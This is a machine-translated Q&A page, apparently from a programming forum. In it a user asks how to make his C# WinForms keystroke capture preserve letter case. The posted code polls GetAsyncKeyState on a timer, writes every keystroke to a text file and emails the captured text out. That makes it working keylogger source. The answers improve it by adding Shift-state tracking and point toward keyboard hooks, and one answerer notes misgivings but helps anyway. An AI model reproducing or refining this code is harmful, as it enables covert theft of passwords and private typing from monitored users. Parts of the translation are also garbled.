如何在没有大写锁定的情况下捕获击键
本文关键字:情况下 锁定 写锁 | 更新日期: 2023-09-27 17:51:19
我正在制作一个winforms程序,它将捕获我在文本文件中键入的任何内容,但它使所有字符都被大写锁定。我如何使它在输入时捕获它们?例如,如果我输入AbCdEf,它会在文本框中显示AbCdEf…
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(int vKey);
private void WriteTotxt(string value)
{
StreamWriter str = new StreamWriter("test.txt", true);
str.Write(value);
str.Close();
}
private void timer1_Tick(object sender, EventArgs e)
{
string buffer = "";
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
buffer += Enum.GetName(typeof(Keys), i);
}
text += buffer;
if (text.Length > 0)
{
WriteTotxt(text);
text = replaceChars(text);
Email.Send(text);
text = "";
}
}
GetAsyncKeyState仅在键的状态下返回。它没有提到任何修饰符:Shift, Alt等。你可以用GetAsyncKeyState检查shift键是否按下并把它存储在一个布尔值中。当你记录下键和移位时,你把它记为大写。
bool shiftDown = GetAsyncKeyState(Keys.Shift) == -32767;
foreach (...)
{
if (GetAsyncKeyState(i) == -32767)
{
var key = i.ToString();
buffer += shiftDown ? i : i.ToLower();
}
}
我也真的建议你阅读文档,如果你想检查所有的键不使用GetAsyncKeyState,使用键盘钩子。更多信息(示例):这里。因为遍历所有键的速度非常快,所以效率很低。当按键被按下时,回调函数会被触发。
正如其他人提到的,我犹豫是否要进入这个领域,因为键盘记录通常不会有好结果,但是(a)软件已经在市场上,(b)它不像信息已经在MSDN上免费提供,所以…
这并不是说你得到了错误的信息。您正在寻找不完整的信息,只询问字母键状态。正如GetAsyncKeyState()
页面所解释的,您还需要检查修饰符键,VK_SHIFT
, VK_CONTROL
, VK_MENU
等,以了解它们是否处于活动状态。
使用de event键使用ToUpper()将击键转换为大写;
更多información关于事件按键这里